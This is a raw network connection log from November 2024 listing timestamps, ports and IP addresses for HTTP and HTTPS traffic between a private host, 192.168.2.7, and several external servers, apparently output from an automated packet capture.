Nov 17, 2024 22:20:52.841129065 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841136932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841146946 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841154099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841165066 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841172934 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841196060 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841196060 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841216087 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841237068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841253042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841294050 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841348886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841363907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841388941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841403961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841417074 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841420889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841473103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841473103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841500998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841517925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841543913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841553926 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841559887 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841574907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841582060 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841603041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841607094 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841619968 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841635942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841645956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841645956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841650963 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841666937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841680050 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841680050 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841692924 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841726065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841737032 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841742992 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841757059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841768980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841769934 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841798067 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841809988 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841862917 CET	443	60905	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:52.842170000 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.842170000 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.842170954 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.842170954 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.842174053 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.842180014 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.842180967 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.842195988 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.842607021 CET	443	60906	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.844422102 CET	60906	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.844434977 CET	443	60906	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.844927073 CET	60906	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.844930887 CET	443	60906	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.871273041 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:52.871552944 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:52.871593952 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:52.872467041 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:52.872533083 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:52.873676062 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:52.873739958 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:52.873984098 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:52.873997927 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:52.874031067 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:52.874075890 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:52.878294945 CET	443	60905	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:52.878351927 CET	60905	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:52.878770113 CET	60905	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:52.878782988 CET	443	60905	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:52.884383917 CET	60918	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:52.884426117 CET	443	60918	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:52.884637117 CET	60918	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:52.884808064 CET	60918	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:52.884821892 CET	443	60918	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:52.889019966 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.889033079 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.889033079 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.918323994 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.918358088 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.918415070 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.918422937 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.918441057 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.918488026 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.918936968 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.919435978 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.919447899 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.919718981 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.919959068 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.920274019 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:52.921272993 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.921292067 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.921298981 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.921340942 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.921400070 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.921400070 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.923295975 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.923307896 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.925956011 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.925977945 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.926007032 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.926023960 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.926033974 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.926042080 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.926084042 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.926090002 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.926130056 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.926136017 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.926176071 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.926233053 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.926280975 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.926294088 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.926337957 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.926378965 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.926784039 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.926790953 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.930922985 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.930931091 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.931407928 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.931411028 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.957281113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.957314968 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.957330942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.957365990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.957366943 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.957382917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.957415104 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.957421064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.957438946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.957439899 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.957457066 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.957468033 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.957479000 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.957483053 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.957504034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.957516909 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958013058 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958040953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958056927 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958060026 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958075047 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958080053 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958098888 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958111048 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958174944 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958199978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958213091 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958214998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958231926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958235979 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958255053 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958271027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958365917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958381891 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958396912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958410025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958414078 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958426952 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958431959 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958441019 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958456993 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958460093 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958482981 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958494902 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958507061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958517075 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958525896 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958539009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958542109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958558083 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958559036 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958575010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958576918 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958595991 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958600998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958600998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958626032 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958653927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958678007 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958909035 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958970070 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.958986044 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.958986044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959012985 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959026098 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959057093 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959074020 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959089041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959104061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959110022 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959122896 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959147930 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959150076 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959163904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959182024 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959201097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959209919 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959234953 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959259033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959259987 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959275961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959292889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959299088 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959311008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959323883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959342957 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959355116 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959362030 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959382057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959398031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959414959 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959420919 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959431887 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959440947 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959466934 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959521055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959537029 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959553003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959573984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959580898 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959590912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959599972 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959609032 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959625959 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959636927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959645033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959661961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959661961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959683895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959703922 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.959903955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959964037 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.959980011 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.960007906 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.960031986 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.971632004 CET	443	60906	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.971676111 CET	443	60906	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.971738100 CET	443	60906	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.971791029 CET	60906	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.972214937 CET	60906	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.972227097 CET	443	60906	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.972238064 CET	60906	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.972244978 CET	443	60906	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.975471973 CET	60920	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.975508928 CET	443	60920	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.975575924 CET	60920	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.975722075 CET	60920	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.975748062 CET	443	60920	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.025000095 CET	443	60913	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.025574923 CET	60913	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.025600910 CET	443	60913	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.026084900 CET	60913	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.026091099 CET	443	60913	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.026202917 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.026226997 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.026247025 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.026290894 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.026303053 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.026356936 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.026376963 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.035510063 CET	443	60914	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.036087036 CET	60914	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.036103010 CET	443	60914	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.036573887 CET	60914	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.036580086 CET	443	60914	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.047892094 CET	443	60915	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.048516989 CET	60915	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.048533916 CET	443	60915	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.049151897 CET	60915	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.049158096 CET	443	60915	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.074096918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074137926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074157953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074182034 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074194908 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074198008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074215889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074233055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074243069 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074253082 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074255943 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074279070 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074301958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074321985 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074347973 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074358940 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074364901 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074382067 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074389935 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074408054 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074420929 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074548960 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074599028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074623108 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.074671030 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.074990034 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075006008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075022936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075033903 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075048923 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075052023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075062990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075067997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075084925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075093985 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075100899 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075108051 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075117111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075125933 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075134039 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075145006 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075150967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075160980 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075165987 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075181961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075187922 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075201035 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075210094 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075229883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075242043 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075552940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075571060 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075588942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075603962 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075613976 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075632095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075634003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075634003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075649023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075665951 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075671911 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075690031 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075701952 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075896025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075922012 CET	80	60797	185.215.113.206	192.168.2.7
